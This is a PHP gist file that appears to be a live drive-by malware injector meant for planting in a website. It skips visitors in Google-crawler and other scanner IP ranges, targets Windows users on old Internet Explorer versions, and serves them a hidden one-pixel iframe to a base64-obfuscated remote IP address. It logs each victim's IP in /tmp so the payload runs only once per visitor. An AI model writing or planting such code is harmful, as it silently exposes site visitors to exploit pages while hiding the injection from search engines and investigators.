gistfile1.php

function net_match ( $network , $ip ) {
$ip_arr = explode ( '/' , $network );
$network_long = ip2long ( $ip_arr [ 0 ]);
$x = ip2long ( $ip_arr [ 1 ]);
$mask = long2ip ( $x ) == $ip_arr [ 1 ] ? $x : 0xffffffff << ( 32 - $ip_arr [ 1 ]);
$ip_long = ip2long ( $ip );
return ( $ip_long & $mask ) == ( $network_long & $mask );
}

function net()
{
$ip=$_SERVER['REMOTE_ADDR'];

if(
net_match('64.233.160.0/19',$ip)==0 &&
net_match('66.102.0.0/20',$ip)==0 &&
net_match('66.249.64.0/19',$ip)==0 &&
net_match('72.14.192.0/18',$ip)==0 &&
net_match('74.125.0.0/16',$ip)==0 &&
net_match('89.207.224.0/24',$ip)==0 &&
net_match('193.142.125.0/24',$ip)==0 &&
net_match('194.110.194.0/24',$ip)==0 &&
net_match('209.85.128.0/17',$ip)==0 &&
net_match('216.239.32.0/19',$ip)==0 &&
net_match('128.111.0.0/16',$ip)==0 &&
net_match('67.217.0.0/16',$ip)==0 &&
net_match('188.93.0.0/16',$ip)==0
)
return true;
}

function detect_os() {
global $os;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if(strpos($user_agent, "Windows") !== false) $os = 'windows';
}detect_os();


function detect_brows() {
global $OOOOO0000, $OOOOOO000;
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE 6.0/", $user_agent) OR
    preg_match("/MSIE 7.0/", $user_agent) OR
    preg_match("/MSIE 8.0/", $user_agent)
) $OOOOOO000 = "MSIE";
}detect_brows();

$IP = "{$_SERVER[REMOTE_ADDR]}.log";

function _log()
{ global $IP;
touch ("/tmp/x86/{$IP}");
}

function _check()
{
global $IP;
if(!file_exists("/tmp/x86/{$IP}")) return true;
}
$drgk=base64_decode('aHR0cDovLzEyOS4xMjEuNDAuNDEvSG9tZS9pbmRleC5waHA=');
if(_check())
{
if(net())
{
if($os)
{
if($OOOOOO000 == "MSIE")
{
echo '<iframe frameborder=0 src="'.$drgk.'" width=1 height=1 scrolling=no></iframe>';

_log();

}}}}